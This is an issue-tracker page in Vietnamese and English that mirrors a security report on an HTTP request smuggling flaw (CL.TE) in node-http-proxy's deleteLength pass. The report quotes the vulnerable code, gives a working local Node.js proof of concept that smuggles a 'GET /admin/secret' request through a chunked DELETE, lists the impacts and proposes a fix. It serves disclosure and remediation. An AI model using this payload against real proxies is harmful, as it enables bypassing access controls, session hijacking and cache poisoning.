Security: HTTP Request Smuggling via deleteLength (CL.TE) — upstream unfixed CVE-2026-29057
Chưa có ai nhận issue này.
Đánh giá
- Độ khó
- 3/5
- Thời gian dự kiến
- 1-2 ngày
- Mức phù hợp với người mới
- 72/100
- Loại issue
- Lỗi
- Độ rõ ràng
- Đặc tả rõ ràng
- Mức độ hoạt động
- Sôi nổi
- Công nghệ
- javascript, node.js
- Lĩnh vực
- backend, networking, security
Hướng nghiên cứu
Bắt đầu với lib/http-proxy/passes/web-incoming.js, sau đó chạy bản tái hiện keep-alive được cung cấp để quan sát cách yêu cầu DELETE và yêu cầu được chèn lén đến backend. Được xem là hoàn tất khi proxy không còn tạo ra framing xung đột được nêu trong issue, trong khi các yêu cầu DELETE và OPTIONS hợp lệ không có một trong hai header vẫn hoạt động an toàn.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Mô tả
Summary
The deleteLength pass creates a CL.TE request smuggling vulnerability. When proxying DELETE/OPTIONS requests with Transfer-Encoding: chunked but no Content-Length, the library sets Content-Length: 0 and deletes Transfer-Encoding. The body is still piped to the backend, creating a desynchronization.
CVE-2026-29057 was assigned to Next.js for this exact issue (Next.js vendored http-proxy). The upstream http-proxy library has NOT been patched.
Affected
- Package:
http-proxy - Version: 1.18.1 (latest, released 2020-05-17)
- All versions since v0.9.0
Root Cause
lib/http-proxy/passes/web-incoming.js:
deleteLength: function deleteLength(req, res, options) {
if((req.method === 'DELETE' || req.method === 'OPTIONS')
&& !req.headers['content-length']) {
req.headers['content-length'] = '0';
delete req.headers['transfer-encoding'];
}
},
Sets Content-Length: 0 and deletes Transfer-Encoding without checking if Transfer-Encoding is present. Body is still piped via req.pipe(proxyReq).
Reproduction
const http = require('http');
const httpProxy = require('http-proxy');
const net = require('net');
const backend = http.createServer((req, res) => {
let body = '';
req.on('data', (chunk) => body += chunk.toString());
req.on('end', () => {
console.log(`[BACKEND] ${req.method} ${req.url}`);
res.end('OK');
});
});
backend.listen(9001, () => {
const httpAgent = new http.Agent({ keepAlive: true });
const proxy = httpProxy.createProxyServer({
target: 'http://127.0.0.1:9001',
agent: httpAgent // keep-alive required for smuggling
});
const server = http.createServer((req, res) => proxy.web(req, res));
server.listen(9000, () => {
const client = net.createConnection({ host: '127.0.0.1', port: 9000 });
const smuggled = 'GET /admin/secret HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n\r\n';
client.write(
'DELETE /api HTTP/1.1\r\n' +
'Host: localhost\r\n' +
'Transfer-Encoding: chunked\r\n' +
'\r\n' +
smuggled.length.toString(16) + '\r\n' +
smuggled +
'\r\n0\r\n\r\n'
);
});
});
Output:
[BACKEND] DELETE /api
[BACKEND] GET /admin/secret ← smuggled request parsed
Preconditions
- Proxy must use a keep-alive agent (default config uses
Connection: closewhich prevents smuggling) - Backend must reuse connections
- Attacker can send requests to the proxy
Impact
- Request smuggling: arbitrary second request injected to backend
- Access internal endpoints bypassing proxy routing
- Session hijacking via shared connection context
- Cache poisoning
Suggested Fix
Apply the same fix Next.js applied:
deleteLength: function deleteLength(req, res, options) {
if((req.method === 'DELETE' || req.method === 'OPTIONS')
&& !req.headers['content-length']
&& !req.headers['transfer-encoding']) {
req.headers['content-length'] = '0';
// Do NOT delete transfer-encoding
}
},
References
- CVE-2026-29057 (assigned to Next.js for this issue)
- Next.js fix: only add
Content-Length: 0when both headers absent
Reported by: @Black1hp
- Ngôn ngữ chính
- JavaScript
- Star
- 14.1k
- Fork
- 2k
- Chỉ số merge pull request
- Không có pull request nào được merge trong 30 ngày
Chuẩn bị môi trường
Dự án này không cung cấp dev container, Dockerfile hay hướng dẫn đóng góp, nên bạn cần tự thiết lập môi trường: hãy bắt đầu từ README và xem hướng dẫn đóng góp lần đầu của chúng tôi để biết các bước chung.
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của http-party/node-http-proxy
-
util._extend() is depracatoryĐang mở
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 78/100
http-party/node-http-proxy#1719 ·
-
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 55/100
http-party/node-http-proxy#1715 · 1 bình luận · 5 reaction ·
-
Is this library is dead?Đang mở
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 15/100
http-party/node-http-proxy#1711 · 2 bình luận ·
-
HTTP3 + QUIC support?Đang mở
Độ khó 5/5 Hơn một tuần Mức phù hợp với người mới 25/100
http-party/node-http-proxy#1710 · 5 reaction ·
-
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 25/100
http-party/node-http-proxy#1708 · 1 bình luận ·
Tất cả issue của http-party/node-http-proxy
Issue tương tự
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 78/100
guybedford/es-module-lexer#266 ·
-
bug documentation
Độ khó 1/5 1-3 giờ Mức phù hợp với người mới 88/100
apify/apify-docs#3206 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
enhancement good first issue
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 90/100
anhnt256/cursor-swarm#21 ·
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 72/100
-
documentation good first issue
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 74/100
zerohourzulu/irontrellis#16 ·